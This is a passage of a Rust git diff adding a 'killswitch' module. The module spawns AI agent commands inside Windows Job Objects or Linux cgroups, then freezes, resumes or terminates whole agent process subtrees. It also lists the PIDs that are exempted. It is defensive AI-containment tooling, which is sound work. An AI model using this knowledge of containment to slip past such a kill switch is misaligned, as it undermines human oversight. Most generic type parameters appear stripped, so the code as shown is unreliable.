TrackedAgentTreeRegistry::new(); + assert!(!reg.register_agent_root(1, "init")); + assert!(!reg.register_agent_root(4, "system")); + assert!(!reg.register_agent_root(std::process::id(), "self")); + assert!(!reg.mark_confirmed_threat(std::process::id(), "self")); + assert!(!reg.is_tracked_pid(std::process::id())); + } +} diff --git a/crates/killswitch-core/src/freeze.rs b/crates/killswitch-core/src/freeze.rs index 18b4d66..df23210 100644 --- a/crates/killswitch-core/src/freeze.rs +++ b/crates/killswitch-core/src/freeze.rs @@ -52,7 +52,9 @@ impl NativeProcessFreezer { let mut depth = 0; while let Some(parent_pid) = proc.parent() { let p_u32 = parent_pid.as_u32(); - immune.insert(p_u32); + if !crate::killchain::TrackedAgentTreeRegistry::global().is_tracked_pid(p_u32) { + immune.insert(p_u32); + } depth += 1; if depth >= 5 { break; @@ -68,6 +70,35 @@ impl NativeProcessFreezer { immune } + /// Freezes a target root PID and its entire descendant subtree using OS kernel sandboxing. + pub fn freeze_subtree(&self, root_pid: u32) -> crate::job_sandbox::SubtreeFreezeReport { + let mut exclude = self.get_immune_pids(); + exclude.insert(std::process::id()); + crate::job_sandbox::freeze_subtree_kernel(&[root_pid], &exclude, self) + } + + /// Freezes a single PID while enforcing immutable OS kernel preservation. + #[inline] + pub fn freeze_single_pid_raw( + &self, + pid: u32, + ) -> Result { + ::freeze_process(self, pid) + } + + /// Fallible whole-subtree freeze wrapper returning a structured `SubtreeFreezeReport`. + pub fn freeze_process_subtree( + &self, + root_pid: u32, + ) -> Result { + crate::job_sandbox::freeze_process_subtree(root_pid, self) + } + + /// Resumes `root_pid` and its entire descendant subtree. + pub fn resume_process_subtree(&self, root_pid: u32) -> Result, KillSwitchError> { + crate::job_sandbox::resume_process_subtree(root_pid, self) + } + /// Freeze all untrusted user-space processes across the host. pub fn freeze_all_untrusted(&self) -> Result, KillSwitchError> { let sys = System::new_all(); diff --git a/crates/killswitch-core/src/job_sandbox.rs b/crates/killswitch-core/src/job_sandbox.rs new file mode 100644 index 0000000..82992cd --- /dev/null +++ b/crates/killswitch-core/src/job_sandbox.rs @@ -0,0 +1,1272 @@ +//! Cross-OS Process Tree Sandboxing & Fixed-Point Subtree Containment +//! +//! Enforces whole-subtree isolation rather than single-PID whack-a-mole: +//! - Windows: Strict Win32 Job Objects (`CreateJobObjectW` + `JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE`), +//! fail-closed `CREATE_SUSPENDED -> AssignProcessToJobObject -> IsProcessInJob -> ResumeThread` +//! spawn gating, `QueryInformationJobObject(JobObjectBasicProcessIdList)`, and fixed-point +//! parent-before-child suspension across all live descendants. +//! - Linux: Unified cgroups v2 (`cgroup.procs` + `cgroup.freeze` `"1"`/`"0"`) when accessible, paired +//! with `/proc//task/*/children` + `sysinfo` fixed-point parent-before-child `SIGSTOP` +//! until a verification pass detects zero newly spawned unfrozen descendants. +//! - macOS: Darwin `libproc` `proc_listchildpids` + `sysinfo` recursive parent-before-child +//! fixed-point `SIGSTOP` enforcement across child trees. + +use crate::agent_registry::TrackedAgentTreeRegistry; +use crate::freeze::NativeProcessFreezer; +use crate::killchain::{is_critical_system_pid, is_immutable_os_kernel_pid}; +use killswitch_types::errors::{KillSwitchError, KillSwitchResult}; +use killswitch_types::status::{ProcessFreezer, ProcessIsolationState}; +use parking_lot::Mutex; +use std::collections::{HashMap, HashSet, VecDeque}; +use std::process::{Child, Command}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::OnceLock; +use sysinfo::{Pid, ProcessRefreshKind, System}; + +#[cfg(target_os = "macos")] +extern "C" { + fn proc_listchildpids( + ppid: libc::c_int, + buffer: *mut libc::c_void, + buffersize: libc::c_int, + ) -> libc::c_int; +} + +static SANDBOX_SEQ: AtomicU64 = AtomicU64::new(1); + +#[cfg(target_os = "windows")] +static ACTIVE_CONTAINMENT_JOBS: OnceLock>> = OnceLock::new(); +#[cfg(target_os = "linux")] +static ACTIVE_CONTAINMENT_CGROUPS: OnceLock>> = OnceLock::new(); + +/// Configuration for creating a kernel-enforced process subtree sandbox. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct JobSandboxConfig { + pub sandbox_id: String, + pub agent_id: String, + pub active_process_limit: Option, + pub kill_on_close: bool, +} + +impl JobSandboxConfig { + pub fn new(sandbox_id: impl Into, agent_id: impl Into) -> Self { + Self { + sandbox_id: sandbox_id.into(), + agent_id: agent_id.into(), + active_process_limit: None, + kill_on_close: true, + } + } +} + +/// Handle wrapping a child process spawned inside an OS kernel containment sandbox. +pub struct ConfinedChild { + pub child: Child, + pub pid: u32, + pub sandbox_id: String, + #[cfg(target_os = "windows")] + job: Option, + #[cfg(target_os = "linux")] + cgroup: Option, +} + +impl ConfinedChild { + /// Returns the root OS PID of the confined process tree. + #[inline] + pub fn pid(&self) -> u32 { + self.pid + } + + /// Queries all live member PIDs inside the kernel sandbox or descendant subtree. + pub fn member_pids(&self) -> KillSwitchResult> { + #[cfg(target_os = "windows")] + if let Some(ref job) = self.job { + let mut pids = job.member_pids()?; + let live = enumerate_live_descendants(self.pid); + for p in live { + if !pids.contains(&p) { + pids.push(p); + } + } + return Ok(pids); + } + #[cfg(target_os = "linux")] + if let Some(ref cg) = self.cgroup { + let mut pids = cg.member_pids().unwrap_or_default(); + for p in enumerate_live_descendants(self.pid) { + if !pids.contains(&p) { + pids.push(p); + } + } + return Ok(pids); + } + Ok(enumerate_live_descendants(self.pid)) + } + + /// Terminates the entire confined process tree atomically where supported. + pub fn terminate(&mut self, exit_code: u32) -> KillSwitchResult<()> { + #[cfg(target_os = "windows")] + if let Some(ref job) = self.job { + let res = job.terminate(exit_code); + let _ = self.child.wait(); + TrackedAgentTreeRegistry::global().unregister_pid(self.pid); + return res; + } + #[cfg(target_os = "linux")] + if let Some(ref cg) = self.cgroup { + let _ = cg.terminate(); + } + let _ = exit_code; + for pid in enumerate_live_descendants(self.pid).into_iter().rev() { + if pid != self.pid { + #[cfg(unix)] + unsafe { + let _ = libc::kill(pid as libc::pid_t, libc::SIGKILL); + } + } + } + let _ = self.child.kill(); + let _ = self.child.wait(); + TrackedAgentTreeRegistry::global().unregister_pid(self.pid); + Ok(()) + } +} + +/// Summary report returned after engaging whole-subtree process containment. +#[derive(Debug, Clone)] +pub struct SubtreeFreezeReport { + pub root_pid: u32, + pub kernel_mechanism: &'static str, + pub job_bound_pids: Vec, + pub frozen_records: Vec, + pub frozen_pids: Vec, + pub failed_pids: Vec<(u32, String)>, + pub spared_host_pids: Vec, + pub fixed_point_passes: usize, + pub residual_unfrozen_children: usize, +} + +/// Launches `command` confined inside an OS kernel sandbox (Win32 Job Object on Windows via +/// `CREATE_SUSPENDED -> AssignProcessToJobObject -> IsProcessInJob -> ResumeThread`; cgroup v2 or +/// tracked subtree on Linux/macOS) and registers its PID as a `TrackedAgentRoot`. +pub fn spawn_confined_process( + command: &mut Command, + label: &str, +) -> KillSwitchResult { + let seq = SANDBOX_SEQ.fetch_add(1, Ordering::Relaxed); + let sandbox_id = format!("ks-sandbox-{seq}"); + + #[cfg(target_os = "windows")] + { + let config = JobSandboxConfig::new(sandbox_id.clone(), label); + let job = WindowsJobSandbox::create(config)?; + let child = job.spawn_contained(command)?; + let pid = child.id(); + Ok(ConfinedChild { + child, + pid, + sandbox_id, + job: Some(job), + }) + } + + #[cfg(not(target_os = "windows"))] + { + let child = command.spawn()?; + let pid = child.id(); + TrackedAgentTreeRegistry::global().register_agent_root_with_sandbox( + pid, + label, + label, + Some(sandbox_id.clone()), + ); + + #[cfg(target_os = "linux")] + let cgroup = { + let cfg = JobSandboxConfig::new(sandbox_id.clone(), label); + match LinuxCgroupSandbox::create(cfg) { + Ok(cg) => { + let _ = cg.attach_existing_pid(pid); + Some(cg) + } + Err(_) => None, + } + }; + + Ok(ConfinedChild { + child, + pid, + sandbox_id, + #[cfg(target_os = "linux")] + cgroup, + }) + } +} + +/// Enumerates direct child PIDs of `parent_pid` using OS-native kernel APIs where available, +/// unioned with parent links from the provided `sysinfo::System` snapshot. +fn native_direct_children(parent_pid: u32, sys: &System) -> Vec { + let mut children = HashSet::new(); + + for (pid_raw, proc_entry) in sys.processes() { + if let Some(ppid) = proc_entry.parent() { + if ppid.as_u32() == parent_pid { + children.insert(pid_raw.as_u32()); + } + } + } + + #[cfg(target_os = "linux")] + { + let task_dir = format!("/proc/{parent_pid}/task"); + if let Ok(entries) = std::fs::read_dir(&task_dir) { + for tid_entry in entries.flatten() { + let children_path = tid_entry.path().join("children"); + if let Ok(contents) = std::fs::read_to_string(&children_path) { + for token in contents.split_whitespace() { + if let Ok(cpid) = token.parse::() { + if cpid != parent_pid { + children.insert(cpid); + } + } + } + } + } + } + } + + #[cfg(target_os = "macos")] + { + unsafe { + let needed = proc_listchildpids(parent_pid as libc::c_int, std::ptr::null_mut(), 0); + if needed > 0 { + let slot_count = ((needed as usize) / std::mem::size_of::()) + .max(16) + .saturating_mul(2); + let mut buf = vec![0 as libc::pid_t; slot_count]; + let byte_len = (buf.len() * std::mem::size_of::()) as libc::c_int; + let written = proc_listchildpids( + parent_pid as libc::c_int, + buf.as_mut_ptr().cast(), + byte_len, + ); + if written > 0 { + let count = + ((written as usize) / std::mem::size_of::()).min(buf.len()); + for &cpid in &buf[..count] { + if cpid > 0 && cpid as u32 != parent_pid { + children.insert(cpid as u32); + } + } + } + } + } + } + + let mut out: Vec = children.into_iter().collect(); + out.sort_unstable(); + out +} + +/// Enumerates `target_pid` and all live descendants in parent-before-child BFS order while +/// strictly excluding `exclude_pids`, immutable OS kernel anchors, and KillSwitch self PIDs. +pub fn enumerate_process_subtree(target_pid: u32, exclude_pids: &HashSet) -> Vec { + if target_pid <= 4 || target_pid == std::process::id() || exclude_pids.contains(&target_pid) { + return Vec::new(); + } + + let mut sys = System::new(); + sys.refresh_processes_specifics(ProcessRefreshKind::new()); + + let registry = TrackedAgentTreeRegistry::global(); + let reg_children = { + let mut map: HashMap> = HashMap::new(); + for entry in registry.parent_child_edges.iter() { + map.insert(*entry.key(), entry.value().clone()); + } + map + }; + + let mut ordered = Vec::new(); + let mut visited = HashSet::new(); + let mut queue = VecDeque::new(); + queue.push_back(target_pid); + visited.insert(target_pid); + + while let Some(pid) = queue.pop_front() { + if exclude_pids.contains(&pid) || pid == std::process::id() { + continue; + } + let name = sys + .process(Pid::from_u32(pid)) + .map(|p| p.name()) + .unwrap_or(""); + if is_immutable_os_kernel_pid(pid, name) { + continue; + } + let reg_tainted = registry.is_tracked_pid(pid); + if !reg_tainted && pid != target_pid && is_critical_system_pid(pid, name) { + continue; + } + + ordered.push(pid); + + let mut children = native_direct_children(pid, &sys); + if let Some(extra) = reg_children.get(&pid) { + children.extend(extra.iter().copied()); + } + children.sort_unstable(); + children.dedup(); + + for child in children { + if visited.insert(child) { + let _ = registry.register_child(child, pid); + queue.push_back(child); + } + } + } + + ordered +} + +/// Enumerates `root_pid` and all live descendants in BFS parent-before-child order, +/// excluding immutable OS kernel anchors and KillSwitch self PIDs. +pub fn enumerate_live_descendants(root_pid: u32) -> Vec { + enumerate_process_subtree(root_pid, &HashSet::new()) +} + +/// Engages kernel-assisted fixed-point parent-before-child subtree containment across +/// all `seed_pids`, binding Win32 Job Objects / Linux cgroups v2 where available and running up +/// to 5 convergence passes until zero newly spawned unfrozen descendants remain. +pub fn freeze_subtree_kernel( + seed_pids: &[u32], + immune_pids: &HashSet, + freezer: &dyn ProcessFreezer, +) -> SubtreeFreezeReport { + let root_pid = *seed_pids.first().unwrap_or(&0); + let mut kernel_mechanism: &'static str = { + #[cfg(target_os = "windows")] + { + "win32_ntsuspend_fixed_point" + } + #[cfg(target_os = "linux")] + { + "linux_proc_sigstop_fixed_point" + } + #[cfg(target_os = "macos")] + { + "macos_libproc_sigstop_fixed_point" + } + #[cfg(not(any(target_os = "windows", target_os = "linux", target_os = "macos")))] + { + "posix_sigstop_fixed_point" + } + }; + + let mut job_bound_pids = Vec::new(); + + #[cfg(target_os = "windows")] + let containment_job: Option = if !seed_pids.is_empty() { + let seq = SANDBOX_SEQ.fetch_add(1, Ordering::Relaxed); + // Containment attachments use kill_on_close=false so operator disarm releases + // the job wrapper cleanly before resuming processes. + let mut cfg = + JobSandboxConfig::new(format!("ks-contain-{seq}"), format!("root-{root_pid}")); + cfg.kill_on_close = false; + WindowsJobSandbox::create(cfg).ok() + } else { + None + }; + + #[cfg(target_os = "linux")] + let containment_cgroup: Option = if !seed_pids.is_empty() { + let seq = SANDBOX_SEQ.fetch_add(1, Ordering::Relaxed); + let cfg = JobSandboxConfig::new(format!("ks-contain-{seq}"), format!("root-{root_pid}")); + LinuxCgroupSandbox::create(cfg).ok() + } else { + None + }; + + let mut frozen_set = HashSet::new(); + let mut frozen_pids = Vec::new(); + let mut frozen_records = Vec::new(); + let mut failed_pids = Vec::new(); + let mut failed_seen = HashSet::new(); + let mut spared_set = HashSet::new(); + let mut passes = 0usize; + + const MAX_FIXED_POINT_PASSES: usize = 5; + for _ in 0..MAX_FIXED_POINT_PASSES { + passes += 1; + + let mut expanded = Vec::new(); + let mut exp_seen = HashSet::new(); + for &seed in seed_pids { + for pid in enumerate_process_subtree(seed, immune_pids) { + if exp_seen.insert(pid) { + expanded.push(pid); + } + } + } + + #[cfg(target_os = "windows")] + if let Some(ref job) = containment_job { + for &pid in &expanded { + if !job_bound_pids.contains(&pid) + && matches!(job.attach_existing_pid(pid), Ok(true)) + { + job_bound_pids.push(pid); + } + } + if let Ok(job_members) = job.member_pids() { + for mpid in job_members { + if !immune_pids.contains(&mpid) + && mpid > 4 + && mpid != std::process::id() + && exp_seen.insert(mpid) + { + expanded.push(mpid); + } + if !job_bound_pids.contains(&mpid) { + job_bound_pids.push(mpid); + } + } + } + if !job_bound_pids.is_empty() { + kernel_mechanism = "win32_job_object+ntsuspend_fixed_point"; + } + } + + #[cfg(target_os = "linux")] + if let Some(ref cg) = containment_cgroup { + for &pid in &expanded { + if !job_bound_pids.contains(&pid) && cg.attach_existing_pid(pid).is_ok() { + job_bound_pids.push(pid); + } + } + if !job_bound_pids.is_empty() && cg.freeze().is_ok() { + kernel_mechanism = "linux_cgroup_v2+sigstop_fixed_point"; + if let Ok(cg_members) = cg.member_pids() { + for mpid in cg_members { + if !immune_pids.contains(&mpid) + && mpid > 4 + && mpid != std::process::id() + && exp_seen.insert(mpid) + { + expanded.push(mpid); + } + } + } + } + } + + let mut newly_frozen_in_pass = 0usize; + for pid in expanded { + if immune_pids.contains(&pid) || pid <= 4 || pid == std::process::id() { + spared_set.insert(pid); + continue; + } + if frozen_set.contains(&pid) { + continue; + } + match freezer.freeze_process(pid) { + Ok(state) => { + frozen_set.insert(pid); + frozen_pids.push(pid); + frozen_records.push(state); + newly_frozen_in_pass += 1; + } + Err(KillSwitchError::ProtectedProcessImmune { .. }) + | Err(KillSwitchError::ParentLineageImmune { .. }) => { + spared_set.insert(pid); + } + Err(err) => { + if failed_seen.insert(pid) { + failed_pids.push((pid, err.to_string())); + } + } + } + } + + if newly_frozen_in_pass == 0 { + break; + } + } + + let mut residual = 0usize; + for &seed in seed_pids { + for pid in enumerate_process_subtree(seed, immune_pids) { + if !frozen_set.contains(&pid) && !immune_pids.contains(&pid) { + residual += 1; + } + } + } + + #[cfg(target_os = "windows")] + if let Some(job) = containment_job { + if !job_bound_pids.is_empty() { + ACTIVE_CONTAINMENT_JOBS + .get_or_init(|| Mutex::new(Vec::new())) + .lock() + .push(job); + } + } + + #[cfg(target_os = "linux")] + if let Some(cg) = containment_cgroup { + if !job_bound_pids.is_empty() { + ACTIVE_CONTAINMENT_CGROUPS + .get_or_init(|| Mutex::new(Vec::new())) + .lock() + .push(cg); + } + } + + SubtreeFreezeReport { + root_pid, + kernel_mechanism, + job_bound_pids, + frozen_records, + frozen_pids, + failed_pids, + spared_host_pids: spared_set.into_iter().collect(), + fixed_point_passes: passes, + residual_unfrozen_children: residual, + } +} + +/// Releases managed containment job/cgroup wrappers when disarming host isolation. +pub fn release_all_sandbox_jobs() { + #[cfg(target_os = "windows")] + if let Some(lock) = ACTIVE_CONTAINMENT_JOBS.get() { + lock.lock().clear(); + } + #[cfg(target_os = "linux")] + if let Some(lock) = ACTIVE_CONTAINMENT_CGROUPS.get() { + let mut guard = lock.lock(); + for cg in guard.drain(..) { + let _ = cg.thaw(); + } + } +} + +/// Freezes `root_pid` and its entire descendant subtree using fixed-point containment. +pub fn freeze_process_subtree( + root_pid: u32, + freezer: &NativeProcessFreezer, +) -> KillSwitchResult { + if root_pid <= 4 || root_pid == std::process::id() { + return Err(KillSwitchError::ProtectedProcessImmune { + pid: root_pid, + name: String::new(), + reason: "Refusing subtree freeze on kernel/self PID", + }); + } + + let immune_pids = freezer.get_immune_pids(); + if immune_pids.contains(&root_pid) { + return Err(KillSwitchError::ParentLineageImmune { + pid: root_pid, + ancestor_pid: root_pid, + ancestor_name: String::new(), + depth: 0, + }); + } + + let registry = TrackedAgentTreeRegistry::global(); + registry.mark_confirmed_threat(root_pid, "Subtree quarantine engaged"); + + let report = freeze_subtree_kernel(&[root_pid], &immune_pids, freezer); + if report.frozen_pids.is_empty() { + if let Some((_, err_msg)) = report.failed_pids.first() { + return Err(KillSwitchError::NativeOsError(format!( + "Failed to freeze subtree rooted at PID {root_pid}: {err_msg}" + ))); + } + } + Ok(report) +} + +/// Resumes `root_pid` and any live descendants, thawing active sandboxes first. +pub fn resume_process_subtree( + root_pid: u32, + freezer: &NativeProcessFreezer, +) -> KillSwitchResult> { + release_all_sandbox_jobs(); + + let mut targets = enumerate_live_descendants(root_pid); + targets.reverse(); + let mut resumed = Vec::new(); + for pid in targets { + if freezer.resume_process(pid).is_ok() { + resumed.push(pid); + } + } + TrackedAgentTreeRegistry::global() + .confirmed_threat_pids + .remove(&root_pid); + Ok(resumed) +} + +// ============================================================================= +// Windows Win32 Job Object Sandbox +// ============================================================================= + +#[cfg(target_os = "windows")] +pub struct WindowsJobSandbox { + config: JobSandboxConfig, + handle_raw: usize, +} + +#[cfg(target_os = "windows")] +impl WindowsJobSandbox { + /// Creates a hardened Windows Job Object with configurable `JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE` + /// and optional `JOB_OBJECT_LIMIT_ACTIVE_PROCESS`. + pub fn create(config: JobSandboxConfig) -> KillSwitchResult { + use windows::core::PCWSTR; + use windows::Win32::Foundation::CloseHandle; + use windows::Win32::System::JobObjects::{ + CreateJobObjectW, JobObjectExtendedLimitInformation, SetInformationJobObject, + JOBOBJECT_EXTENDED_LIMIT_INFORMATION, JOB_OBJECT_LIMIT_ACTIVE_PROCESS, + JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE, + }; + + let h_job = unsafe { CreateJobObjectW(None, PCWSTR::null()) } + .map_err(|e| KillSwitchError::NativeOsError(format!("CreateJobObjectW failed: {e}")))?; + + let mut limits: JOBOBJECT_EXTENDED_LIMIT_INFORMATION = unsafe { std::mem::zeroed() }; + if config.kill_on_close { + limits.BasicLimitInformation.LimitFlags |= JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; + } + if let Some(max_procs) = config.active_process_limit { + limits.BasicLimitInformation.LimitFlags |= JOB_OBJECT_LIMIT_ACTIVE_PROCESS; + limits.BasicLimitInformation.ActiveProcessLimit = max_procs.max(1); + } + + let set_res = unsafe { + SetInformationJobObject( + h_job, + JobObjectExtendedLimitInformation, + std::ptr::addr_of!(limits).cast(), + std::mem::size_of::() as u32, + ) + }; + if let Err(e) = set_res { + unsafe { + let _ = CloseHandle(h_job); + } + return Err(KillSwitchError::NativeOsError(format!( + "SetInformationJobObject failed: {e}" + ))); + } + + Ok(Self { + config, + handle_raw: h_job.0 as usize, + }) + } + + #[inline] + fn handle(&self) -> windows::Win32::Foundation::HANDLE { + windows::Win32::Foundation::HANDLE(self.handle_raw as *mut core::ffi::c_void) + } + + /// Launches an AI agent command fail-closed inside this Job Object: + /// 1. Spawns child with `CREATE_SUSPENDED (0x0000_0004)`; + /// 2. Calls `AssignProcessToJobObject`; + /// 3. Asserts `IsProcessInJob == TRUE` BEFORE calling `ResumeThread`; + /// 4. Immediately terminates suspended child on any confinement failure. + pub fn spawn_contained(&self, command: &mut Command) -> KillSwitchResult { + use std::os::windows::io::AsRawHandle; + use std::os::windows::process::CommandExt; + use windows::Win32::Foundation::{CloseHandle, BOOL, HANDLE}; + use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Thread32First, Thread32Next, TH32CS_SNAPTHREAD, THREADENTRY32, + }; + use windows::Win32::System::JobObjects::{AssignProcessToJobObject, IsProcessInJob}; + use windows::Win32::System::Threading::{ + OpenThread, ResumeThread, CREATE_SUSPENDED, THREAD_SUSPEND_RESUME, + }; + + command.creation_flags(CREATE_SUSPENDED.0); + let mut child = command.spawn()?; + let child_pid = child.id(); + let proc_handle = HANDLE(child.as_raw_handle()); + + if let Err(e) = unsafe { AssignProcessToJobObject(self.handle(), proc_handle) } { + let _ = child.kill(); + let _ = child.wait(); + return Err(KillSwitchError::NativeOsError(format!( + "AssignProcessToJobObject failed for PID {child_pid}: {e}" + ))); + } + + let mut in_job = BOOL(0); + if let Err(e) = unsafe { IsProcessInJob(proc_handle, self.handle(), &mut in_job) } { + let _ = child.kill(); + let _ = child.wait(); + return Err(KillSwitchError::NativeOsError(format!( + "IsProcessInJob failed for PID {child_pid}: {e}" + ))); + } + if !in_job.as_bool() { + let _ = child.kill(); + let _ = child.wait(); + return Err(KillSwitchError::NativeOsError(format!( + "Fail-closed: PID {child_pid} failed IsProcessInJob check before ResumeThread" + ))); + } + + TrackedAgentTreeRegistry::global().register_agent_root_with_sandbox( + child_pid, + self.config.agent_id.clone(), + self.config.agent_id.clone(), + Some(self.config.sandbox_id.clone()), + ); + + let snap = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }.map_err(|e| { + let _ = child.kill(); + let _ = child.wait(); + TrackedAgentTreeRegistry::global().unregister_pid(child_pid); + KillSwitchError::NativeOsError(format!( + "CreateToolhelp32Snapshot failed before ResumeThread for PID {child_pid}: {e}" + )) + })?; + + let mut te = THREADENTRY32 { + dwSize: std::mem::size_of::() as u32, + ..Default::default() + }; + let mut resumed_any = false; + let mut iter_ok = unsafe { Thread32First(snap, &mut te) }.is_ok(); + while iter_ok { + if te.th32OwnerProcessID == child_pid { + if let Ok(h_thread) = + unsafe { OpenThread(THREAD_SUSPEND_RESUME, false, te.th32ThreadID) } + { + let prev_count = unsafe { ResumeThread(h_thread) }; + unsafe { + let _ = CloseHandle(h_thread); + } + if prev_count != u32::MAX { + resumed_any = true; + } + } + } + te.dwSize = std::mem::size_of::() as u32; + iter_ok = unsafe { Thread32Next(snap, &mut te) }.is_ok(); + } + unsafe { + let _ = CloseHandle(snap); + } + + if !resumed_any { + let _ = child.kill(); + let _ = child.wait(); + TrackedAgentTreeRegistry::global().unregister_pid(child_pid); + return Err(KillSwitchError::NativeOsError(format!( + "Failed to locate and resume initial thread for PID {child_pid}" + ))); + } + + Ok(child) + } + + /// Attaches an existing running process (and its future children) to this Job Object, + /// verifying `IsProcessInJob == TRUE`. + pub fn attach_existing_pid(&self, pid: u32) -> KillSwitchResult { + use windows::Win32::Foundation::{CloseHandle, BOOL}; + use windows::Win32::System::JobObjects::{AssignProcessToJobObject, IsProcessInJob}; + use windows::Win32::System::Threading::{ + OpenProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_SET_QUOTA, PROCESS_TERMINATE, + }; + + let h_proc = unsafe { + OpenProcess( + PROCESS_SET_QUOTA | PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, + false, + pid, + ) + } + .map_err(|e| { + KillSwitchError::NativeOsError(format!( + "OpenProcess failed while attaching PID {pid} to job: {e}" + )) + })?; + + let assign_res = unsafe { AssignProcessToJobObject(self.handle(), h_proc) }; + if let Err(e) = assign_res { + unsafe { + let _ = CloseHandle(h_proc); + } + return Err(KillSwitchError::NativeOsError(format!( + "AssignProcessToJobObject failed for PID {pid}: {e}" + ))); + } + + let mut in_job = BOOL(0); + let check_res = unsafe { IsProcessInJob(h_proc, self.handle(), &mut in_job) }; + unsafe { + let _ = CloseHandle(h_proc); + } + check_res.map_err(|e| { + KillSwitchError::NativeOsError(format!("IsProcessInJob failed for PID {pid}: {e}")) + })?; + Ok(in_job.as_bool()) + } + + /// Queries kernel `JobObjectBasicProcessIdList` for all live PIDs currently confined inside + /// this Job Object (including deeply nested child shells). + pub fn member_pids(&self) -> KillSwitchResult> { + use windows::Win32::Foundation::ERROR_MORE_DATA; + use windows::Win32::System::JobObjects::{ + JobObjectBasicProcessIdList, QueryInformationJobObject, JOBOBJECT_BASIC_PROCESS_ID_LIST, + }; + + let mut slots = 256usize; + loop { + let mut buf = vec![0usize; slots]; + let byte_len = (buf.len() * std::mem::size_of::()) as u32; + let mut returned = 0u32; + let res = unsafe { + QueryInformationJobObject( + self.handle(), + JobObjectBasicProcessIdList, + buf.as_mut_ptr().cast(), + byte_len, + Some(&mut returned), + ) + }; + + match res { + Ok(()) => { + let header = + unsafe { &*(buf.as_ptr() as *const JOBOBJECT_BASIC_PROCESS_ID_LIST) }; + let count = header.NumberOfProcessIdsInList as usize; + let list_offset = + std::mem::offset_of!(JOBOBJECT_BASIC_PROCESS_ID_LIST, ProcessIdList); + let list_ptr = + unsafe { buf.as_ptr().cast::().add(list_offset) } as *const usize; + let max_possible = (buf.len() * std::mem::size_of::() - list_offset) + / std::mem::size_of::(); + let safe_count = count.min(max_possible); + let mut pids = Vec::with_capacity(safe_count); + for idx in 0..safe_count { + let raw_pid = unsafe { *list_ptr.add(idx) }; + if let Ok(pid) = u32::try_from(raw_pid) { + if pid > 0 { + pids.push(pid); + } + } + } + return Ok(pids); + } + Err(e) if e.code() == ERROR_MORE_DATA.to_hresult() && slots < 65_536 => { + slots *= 2; + } + Err(e) => { + return Err(KillSwitchError::NativeOsError(format!( + "QueryInformationJobObject failed: {e}" + ))); + } + } + } + } + + /// Freezes every member process currently inside the Job Object via fixed-point + /// `NtSuspendProcess` passes. + pub fn freeze_members( + &self, + freezer: &NativeProcessFreezer, + ) -> KillSwitchResult { + let immune = freezer.get_immune_pids(); + let mut frozen_set = HashSet::new(); + let mut frozen_pids = Vec::new(); + let mut frozen_records = Vec::new(); + let mut failed_pids = Vec::new(); + let mut passes = 0usize; + let mut root_pid = 0u32; + let mut job_bound = Vec::new(); + + for _ in 0..5 { + passes += 1; + let mut members = self.member_pids()?; + members.sort_unstable(); + if root_pid == 0 { + root_pid = *members.first().unwrap_or(&0); + } + for &m in &members { + if !job_bound.contains(&m) { + job_bound.push(m); + } + } + let mut newly_frozen = 0usize; + for pid in members { + if immune.contains(&pid) || pid <= 4 || pid == std::process::id() { + continue; + } + if frozen_set.contains(&pid) { + continue; + } + match freezer.freeze_single_pid_raw(pid) { + Ok(state) => { + frozen_set.insert(pid); + frozen_pids.push(pid); + frozen_records.push(state); + newly_frozen += 1; + } + Err(e) => { + failed_pids.push((pid, e.to_string())); + } + } + } + if newly_frozen == 0 { + break; + } + } + + let residual_unfrozen_children = self + .member_pids() + .unwrap_or_default() + .into_iter() + .filter(|pid| !frozen_set.contains(pid) && !immune.contains(pid)) + .count(); + + Ok(SubtreeFreezeReport { + root_pid, + kernel_mechanism: "win32_job_object+ntsuspend_fixed_point", + job_bound_pids: job_bound, + frozen_records, + frozen_pids, + failed_pids, + spared_host_pids: Vec::new(), + fixed_point_passes: passes, + residual_unfrozen_children, + }) + } + + /// Kernel-atomic termination of the entire process tree in the Job Object. + pub fn terminate(&self, exit_code: u32) -> KillSwitchResult<()> { + use windows::Win32::System::JobObjects::TerminateJobObject; + unsafe { TerminateJobObject(self.handle(), exit_code) } + .map_err(|e| KillSwitchError::NativeOsError(format!("TerminateJobObject failed: {e}"))) + } +} + +#[cfg(target_os = "windows")] +impl Drop for WindowsJobSandbox { + fn drop(&mut self) { + if self.handle_raw != 0 { + unsafe { + let _ = windows::Win32::Foundation::CloseHandle(self.handle()); + } + self.handle_raw = 0; + } + } +} + +// ============================================================================= +// Linux cgroups v2 Sandbox +// ============================================================================= + +#[cfg(target_os = "linux")] +pub struct LinuxCgroupSandbox { + cgroup_dir: std::path::PathBuf, +} + +#[cfg(target_os = "linux")] +impl LinuxCgroupSandbox { + const SLICE_ROOT: &'static str = "/sys/fs/cgroup/killswitch.slice"; + + fn sanitize_id(id: &str) -> String { + let s: String = id + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '-' || c == '_' { + c + } else { + '_' + } + }) + .collect(); + if s.is_empty() { + "default".to_string() + } else { + s + } + } + + /// Attempts to create `/sys/fs/cgroup/killswitch.slice/`. + pub fn create(config: JobSandboxConfig) -> KillSwitchResult { + let slice_path = std::path::Path::new(Self::SLICE_ROOT); + let dir_name = Self::sanitize_id(&config.sandbox_id); + let cgroup_dir = slice_path.join(dir_name); + std::fs::create_dir_all(&cgroup_dir).map_err(|e| { + KillSwitchError::NativeOsError(format!( + "Failed to create cgroup v2 dir '{}': {e}", + cgroup_dir.display() + )) + })?; + let freeze_file = cgroup_dir.join("cgroup.freeze"); + if !freeze_file.exists() { + return Err(KillSwitchError::NativeOsError(format!( + "cgroup.freeze missing under '{}'", + cgroup_dir.display() + ))); + } + if let Some(limit) = config.active_process_limit { + let pids_max = cgroup_dir.join("pids.max"); + if pids_max.exists() { + let _ = std::fs::write(&pids_max, limit.max(1).to_string()); + } + } + Ok(Self { cgroup_dir }) + } + + pub fn attach_existing_pid(&self, pid: u32) -> KillSwitchResult<()> { + let procs_file = self.cgroup_dir.join("cgroup.procs"); + std::fs::write(&procs_file, pid.to_string()).map_err(|e| { + KillSwitchError::NativeOsError(format!( + "Failed 